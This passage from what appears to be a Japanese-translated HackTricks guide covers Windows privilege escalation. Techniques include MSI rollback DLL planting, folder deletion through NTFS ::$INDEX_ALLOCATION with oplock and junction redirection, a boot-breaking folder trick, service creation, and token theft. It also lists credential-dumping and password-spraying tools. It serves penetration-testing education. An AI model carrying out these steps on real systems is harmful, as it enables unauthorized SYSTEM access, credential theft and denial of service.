• あなたの .rbf（悪意のある DLL）を 特権のある場所（例: C:\Program Files\Common Files\microsoft shared\ink\HID.DLL）に復元するよう指示する。

• 悪意ある SYSTEM レベルのペイロード DLL を含む偽の .rbf を配置します。

• Step 12: Trigger the Rollback

• 同期イベントをシグナルしてインストーラーを再開させます。

• 既知のポイントでインストールを意図的に失敗させるように構成された type 19 カスタムアクション（ErrorOut） により、インストールが失敗します。

• これが rollback の開始 を引き起こします。

• Step 13: SYSTEM Installs Your DLL

• Windows Installer はあなたの悪意ある .rbs を読み、

• ターゲット場所にあなたの .rbf DLL をコピーします。

• これで SYSTEM にロードされるパスに悪意ある DLL を配置したことになります。

• Final Step: Execute SYSTEM Code

• 信頼された auto-elevated バイナリ（例: osk.exe）を実行して、ハイジャックした DLL を読み込ませます。

• 成功：あなたのコードが SYSTEM として実行されます。

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

主要な MSI rollback 手法（前述のもの）は、C:\Config.Msi のようなフォルダ全体を削除できることを前提としています。しかし、脆弱性が 任意のファイル削除のみを許す 場合はどうでしょうか？

NTFS の内部を悪用することができます：すべてのフォルダには隠しの代替データストリーム（alternate data stream）が存在します：

C:\SomeFolder::$INDEX_ALLOCATION

このストリームはフォルダのindex metadataを格納します。

したがって、フォルダの**::$INDEX_ALLOCATION ストリームを削除すると**、NTFSはファイルシステムからフォルダ全体を削除します。

これは、次のような標準的なファイル削除APIを使用して行うことができます:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

たとえ file delete API を呼び出していても、フォルダ自体が削除されます。

フォルダ内容の削除からSYSTEM EoPへ

primitive が任意のファイル/フォルダを削除できないが、攻撃者が制御するフォルダのcontentsを削除できるとしたら？

1. Step 1: ベイトフォルダとファイルをセットアップ

• 作成: C:\temp\folder1
• その中に: C:\temp\folder1\file1.txt

2. Step 2: file1.txt に oplock を配置

• 特権プロセスが file1.txt を削除しようとすると、oplock は実行を一時停止します。

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

3. ステップ 3: Trigger SYSTEM process (e.g., SilentCleanup)

• このプロセスはフォルダ（例: %TEMP%）をスキャンし、それらの内容を削除しようとします。
• file1.txt に到達すると、oplock triggers が発生し、コントロールがあなたの callback に渡されます。

4. ステップ 4: Inside the oplock callback – redirect the deletion

• オプション A: Move file1.txt elsewhere

• これにより folder1 は空になりますが、oplock を壊しません。

• file1.txt を直接削除しないでください — それは oplock を早期に解除してしまいます。

• オプション B: Convert folder1 into a junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

• オプション C: \RPC Control に symlink を作成する:

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

これはフォルダのメタデータを格納するNTFSの内部ストリームを狙っています — それを削除するとフォルダ自体が削除されます。

5. ステップ 5: oplock を解放する

• SYSTEM プロセスは処理を続行し、file1.txt を削除しようとします。
• しかし、junction + symlink のため、実際に削除されているのは次のものです:

C:\Config.Msi::$INDEX_ALLOCATION

結果: C:\Config.Msi は SYSTEM によって削除される。

任意のフォルダ作成から永続的なDoSへ

プリミティブを悪用して、SYSTEM/admin として任意のフォルダを作成できます — たとえ ファイルを書き込めない または 弱い権限を設定できない 場合でも。

例えば、フォルダ（ファイルではなく）を critical Windows driver の名前で作成します。例：

C:\Windows\System32\cng.sys

• このパスは通常 cng.sys カーネルモードドライバに対応します。
• もし事前にフォルダとして作成しておくと、Windows は起動時に実際のドライバを読み込めなくなります。
• その後、Windows は起動時に cng.sys を読み込もうとします。
• フォルダを検出し、実際のドライバを解決できず、クラッシュまたは起動が停止します。
• 外部からの介入（例: ブート修復やディスクアクセス）なしには、フォールバックはなく、復旧手段はありません。

From High Integrity to System

New service

もし既に High Integrity プロセスで実行している場合、path to SYSTEM は単に creating and executing a new service するだけで容易になります:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

サービス用バイナリを作成する際は、それが正当なサービスであること、または正当なサービスでない場合は20秒で終了されるため必要な処理を速やかに実行することを確認してください。

AlwaysInstallElevated

High Integrity process から、AlwaysInstallElevated レジストリ エントリを有効化し、.msi ラッパーを使ってリバースシェルをインストールすることができます。
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

参照できます find the code here.

From SeDebug + SeImpersonate to Full Token privileges

もしこれらのトークン権限を持っていれば（おそらく既に High Integrity process 内で見つかるでしょう）、SeDebug 権限でほとんどのプロセス（protected processes は除く）を開き、プロセスのトークンをコピーして、そのトークンで任意のプロセスを作成できます。
通常この手法では、すべてのトークン権限を持つ SYSTEM で動作しているプロセスを選びます（はい、すべてのトークン権限を持たない SYSTEM プロセスも存在します）。
例は example of code executing the proposed technique hereで確認できます。

Named Pipes

この手法は meterpreter が getsystem を行う際に使用します。手法は、パイプを作成し、そのパイプに書き込むサービスを作成／悪用することです。すると、SeImpersonate 権限を使ってパイプを作成したサーバーは、パイプクライアント（サービス）のトークンをインパーソネートして SYSTEM 権限を取得できます。
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

もし SYSTEM として動作するプロセスによってロードされる DLL を hijack できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking は権限昇格に有用であり、さらに High Integrity process からは DLL をロードするフォルダに対する書き込み権限があるため達成がより容易です。
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

• https://github.com/sailay1996/RpcSsImpersonator
• https://decoder.cloud/2020/05/04/from-network-service-to-system/
• https://github.com/decoder-it/NetworkServiceExploit

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windows のローカル権限昇格ベクトルを探すためのベストツール: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – 設定ミスや機密ファイルをチェックします（check here）。検出済み。
JAWS – いくつかの設定ミスをチェックして情報を収集します（check here）。
privesc – 設定ミスをチェックします
SessionGopher – PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存セッション情報を抽出します。ローカルで -Thorough を使用してください。
Invoke-WCMDump – Credential Manager から資格情報を抽出します。検出済み。
DomainPasswordSpray – 収集したパスワードをドメインに対してスプレーします
Inveigh – PowerShell ベースの ADIDNS/LLMNR/mDNS/NBNS スプーファー兼中間者ツールです。
WindowsEnum – 基本的な Windows 権限昇格の列挙
Sherlock ~~~~ – 既知の権限昇格脆弱性を検索します（Watson により非推奨）
WINspect – ローカルチェック (管理権限が必要)

Exe

Watson – 既知の権限昇格脆弱性を検索します（VisualStudio でのコンパイルが必要）（precompiled）
SeatBelt – ホストを列挙して設定ミスを探します（privesc というより情報収集ツール）（コンパイルが必要）（precompiled）
LaZagne – 多数のソフトから資格情報を抽出します（GitHub にプリコンパイル済みの exe）
SharpUP – PowerUp の C# 移植
Beroot ~~~~ – 設定ミスをチェックします（GitHub に実行ファイルあり）。推奨しません。Win10 でうまく動作しません。
Windows-Privesc-Check – 設定ミスのチェック（Python からの exe）。推奨しません。Win10 でうまく動作しません。

Bat

winPEASbat – この記事を元に作成されたツール（accesschk がなくても動作しますが、使用可能です）。

Local

Windows-Exploit-Suggester – systeminfo の出力を読み取り、動作するエクスプロイトを推奨します（ローカル Python）
Windows Exploit Suggester Next Generation – systeminfo の出力を読み取り、動作するエクスプロイトを推奨します（ローカル Python）

Meterpreter

multi/recon/local_exploit_suggestor

プロジェクトは正しいバージョンの .NET を使用してコンパイルする必要があります（see this）。被害者ホストにインストールされている .NET のバージョンを確認するには次を実行できます:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

• http://www.fuzzysecurity.com/tutorials/16.html

• http://www.greyhathacker.net/?p=738

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/sagishahar/lpeworkshop

• https://www.youtube.com/watch?v=_8xJaaQlpBo

• https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

• https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

• https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md

• https://github.com/frizb/Windows-Privilege-Escalation

• https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

• https://github.com/frizb/Windows-Privilege-Escalation

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus–detections

• HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft

• Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。